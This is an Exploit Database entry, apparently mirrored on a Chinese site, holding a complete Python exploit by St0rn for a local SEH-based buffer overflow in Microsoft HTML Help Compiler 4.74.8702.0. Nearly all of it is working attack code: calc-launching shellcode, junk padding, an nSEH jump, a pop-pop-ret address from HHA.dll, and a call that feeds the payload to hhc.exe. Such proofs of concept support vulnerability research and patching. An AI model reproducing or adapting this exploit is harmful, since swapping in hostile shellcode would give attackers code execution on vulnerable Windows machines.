Microsoft HTML Help Compiler 4.74.8702.0 – Local Overflow (SEH)

• Exploit Database
• 16 阅读

• 作者： St0rn
  日期： 2015-08-15
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/37771/

• #!/usr/bin/env python
  #
  # Exploit Title: Microsoft HTML Help Compiler SEH Based Overflow
  # Date: 2015-08-13
  # Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com>
  # Twitter: st0rnpentest
  #
  # Vendor Homepage: www.microsoft.com
  # Software Link: http://www.microsoft.com/downloads/details.aspx?FamilyID=00535334-c8a6-452f-9aa0-d597d16580cc&displaylang=en
  # Version: 4.74.8702.0
  # Tested on: Windows 7
  #
  
  from subprocess import Popen
  from struct import pack
  
  
  # 112 bytes All Windows Null-Free CreateProcessA Calc Shellcode
  # We have only 189 bytes after SE Handler
  # https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
  
  shellcode=""
  shellcode+="\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
  shellcode+="\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
  shellcode+="\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
  shellcode+="\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
  shellcode+="\x57\x78\x01\xc2\x8b\x7a\x20\x01"
  shellcode+="\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
  shellcode+="\x45\x81\x3e\x43\x72\x65\x61\x75"
  shellcode+="\xf2\x81\x7e\x08\x6f\x63\x65\x73"
  shellcode+="\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
  shellcode+="\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
  shellcode+="\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
  shellcode+="\xb1\xff\x53\xe2\xfd\x68\x63\x61"
  shellcode+="\x6c\x63\x89\xe2\x52\x52\x53\x53"
  shellcode+="\x53\x53\x53\x53\x52\x53\xff\xd7"
  
  junk='\x61'*284
  nseh='\xeb\x1e\x90\x90' # jump 30 bytes
  nop='\x90'*40 # nop
  seh=pack("<I", 0x45312d14)# pop ecx # pop ecx # ret| asciiprint,ascii {PAGE_EXECUTE_READ} [HHA.dll]
  
  payload=junk+nseh+seh+nop+shellcode
  padding='\x61'*(10000-len(payload))
  
  exploit=payload+padding
  
  try:
   Popen(["C:\Program Files\HTML Help Workshop\hhc.exe",exploit],shell=False)
   print "Hack'n'Roll"
  except:
   print "Cannot run hhc.exe"